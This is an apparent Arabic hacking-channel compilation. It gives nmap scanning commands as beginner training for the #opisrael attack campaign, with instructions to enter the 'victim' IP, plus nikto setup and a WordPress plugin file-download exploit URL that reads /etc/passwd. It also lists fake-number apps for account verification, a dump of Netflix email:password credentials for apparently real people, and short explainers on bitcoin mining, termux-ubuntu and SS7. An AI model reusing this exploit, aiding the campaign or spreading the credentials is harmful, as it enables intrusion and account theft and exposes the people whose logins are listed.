السلام عليكم
أتيت لكم بهذه الاوامر المهمة الخاصة بأداة nmap لاستهداف المواقع وغيرها في اطار شروحاتنا للمبتدئين من أجل عملية #opisrael يوم السابع من هذا الشهر :

1- اوامر ال Nmap لعمل Scan على الهدف

لعمل اسكان ل ip واحد فقط : nmap 192.168.1.1
لعمل اسكان لهوست : nmap www.testhostname.com
لعمل اسكان لمجموعة من الا بى : nmap 192.168.1.1-20
لعمل اسكان على سب نت معين : nmap 192.168.1.0/24
لعمل اسكان من ملف text : nmap -iL list-of-ips.txt

========================================

2 - عمل اسكان على البورتات

سكان بورت واحد فقط : nmap -p 22 192.168.1.1
سكان مجموعة من البورتات : nmap -p 1-100 192.168.1.1
سكان سريع ل 100 مشهورين : nmap -F 192.168.1.1
سكان على 65535 بورت : nmap -p- 192.168.1.1

========================================

3 - فحص نوع البورتات المستخدمة TCP / UDP

سكان عن طريق اتصال من نوع TCP : nmap -sT 192.168.1.1
سكان العادى TCP/Syn : nmap -sS 192.168.1.1
سكان على بورتات ال UDP : nmap -sU -p 123,161,162 192.168.1.1

========================================

4 - الخدمات وتحديد نظام التشغيل

لمعرفة نظام التشغيل والخدمات الشغالة : nmap -A 192.168.1.1
لمعرفة الخدمات الشغالة : nmap -sV 192.168.1.1
لعمل banner grabbing خفيف لكي لايحدث Noise وانت تقوم بالسكان : nmap -sV --version-intensity 0 192.168.1.1

========================================

5 - لاستخراج ملف بالمعلومات التي جمعتها بال Nmap

الامر العادى للحفظ : nmap -oN outputfile.txt 192.168.1.1
لحفظ الملف على شكل XML : nmap -oX outputfile.xml 192.168.1.1
لحفظة بجميع الفورمات الموجودة : nmap -oA outputfile 192.168.1.1

========================================

6 - لمعرفة وجود ثغرة Heartbleed SSL

nmap -sV -p 443 --script=ssl-heartbleed 192.168.1.0/24

========================================

7 - معرفة معلومات اكثر عن ال IP

nmap --script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24

========================================

طبعاً اداة ال Nmap اداة قوية في مجال الشبكات او اختبار الاختراق

من يريد التعرف على الاداة اكثر هذه بعض الكتب المفيدة

Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning

++++

Nmap 6: Network exploration and security auditing Cookbook Paperback – November 23, 20


#حاجه مهمة طبعا ح تجيب نوع المتصفحات بالامر دا طبعا بعد تجيب الايبي


nmap -sV 127.0.0.1/24

تكتب الايبي حق الضحيه طبعا بين ال sV- و ال 24/

#CS

شرح اليوم هو عن اداة nikto لفحص المواقع من الثغرات والبورتات المفتوحة

اوامر تثبيتها

pkg update

pkg install git

pkg install perl

امر تنصيبها
git clone https://github.com/sullo/nikto

cd nikto

cd program

امر فتح الاداة
perl nikto.pl

امر فحص الموقع المطلوب

perl nikto.pl -h رابط الموقع

بعدها ننتظر حتى يكتمل من الفحص

#CS

طلبات احد الاعضاء 👆

ثغرة wptf-image-gallery 1.0.3 - Remote File  Download

الاستغلال


./wptf-image-gallery/lib-mbox/ajax_load.php


شرح

http://www.site.com/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=/etc/passwd


#CS

📮تطبيق textnow
-اخرا اصدار✔️

📮تطبيق text free
-اخر اصدار✔️

📮تطبيق 2ndline
-اخر اصدار✔️

📮تطبيق textplus
-اخر اصدار✔️

📮تطبيق burner
-اخر اصدار✔️

📮تطبيق 2nr
-اخر اصدار

📮تطبيق safeum
-اخر اصدار✔️

مجموعة تطبيقات لعمل ارقام وهميه لتفعيل مختلف مواقع التواصل

احد طلبات الاعضاء 👆

عام هجري جديد
‏اللهم اجعله عام فيه ينتهي حزن وجرح الامه اجعله عاماً فرح لنا والمسلمين يارب اللهم اجعله عام نصر لعبادك المسلمين في كل مكان ...كل عام وانتم الي الله اقرب

🔰 NETFLIX 🔰

Sebas_bouchard@hotmail.fr:Zikforlife6
Ellie.smith1999@live.co.uk:Muppet2013
georgianaalice5@yahoo.com:Parasuta552
magda.lena199830@gmail.com:playbunny1
lachoupettemarie@gmail.com:1juju2mimi
kimberlyalison@live.co.uk:Whatnow1066
melisa_funfitness@bektel.com:Melisa03

الباب مفتوح الاسئله و الاستفسارات
@Termux_CS_bot

في حد سالني عن ماهو تعدين البتكوين
كلمه تعدين اشبهه بكلمه تعدين علي ارض الواقع تعدين او تنقيب
وهو  إجراء ضروري في عملية صناعة هذه العملة الرقمية، وهي العملية الرئيسية لإنتاج وحدات جديدة من البيتكوين حول العالم واستخدام مصطلح التعدين هو المرادف لجمع العملة الرقمية
وذلك عبر امتلاك رقاقات معالجة قوية مخصصة لهذه العملية، وتستخدم هذه الرقاقات لتشغيل برامج مخصصة ليلًا ونهارًا دون توقف، والهدف من كل هذا هو أن تقوم هذه البرامج بإجبار رقاقة المعالجة على حل تعقيدات رياضية وحسابية باستمرار، حتى إيجاد فك للشيفرة أو حل للعقدة، ووقتها يتم مكافأة من يقوم بالتعدين، بأرباح من هذه العملة، ومن هنا جاء مصطلح “تعدين” لأن من يبحث عن البيتكوين يقوم بحفر طبقات من الأحجار الرقمية وصولاً إلى هدفه.
مثل التعدين علي ارض الواقع

هذا مختصر عن ماهو التعدين

#CS

اداة termux-ubuntu لتشغيل الادوات الي تحتاج روت بدون مايكون جهازك فيه روت


الاوامر
$ apt update
$ apt upgrade

$ pkg install git

$ git clone https://github.com/Neo-Oli/termux-ubuntu.git

$ pkg install wget proot

$ mkdir -p ~/jails/ubuntu

$ cd ~/jails/ubuntu

$ wget https://raw.githubusercontent.com/Neo-Oli/termux-ubuntu/master/ubuntu.sh

$ bash ubuntu.sh
بعد يتم التحميل
هاد امر التشغيل👇

$ ./start-ubuntu.sh

#CS

نص ساعه و اغلق البوت
وابدا ب الاجوبة علي اسئلتكم

احد طلب الاعضاء عن ماهو برتكول ss7

اولا
و مجموعه من البروتوكولات الخاصه بالإتصالات الهاتفيه و يعبر عنه بالإنجليزيه ب Signaling System #7 و إختصاره SS7


وظيفة بروتوكول SS7
الوظيفة الرئيسية لبروتوكول SS7 هي السماح بإجراء إتصالات هاتفيه عن طريق الشبكة العامة لتحويل الهاتف PSTN ، إلى جانب ذلك هنالك العديد من المهام الأخرى اللتي يؤديها ، نذكر منها :إرسال الرسائل النصيه
.تبادل معلومات المتصلين
.إدارة المكالمات الهاتفيه
.ربط و تأمين شبكات الإتصال
.توجيه المكالمات
.إجراء خدمات الفوتره و تقديم الدعم للشبكات الذكيه .

هنالك بعض الهكر يستغلون هذي الثغرة
#CS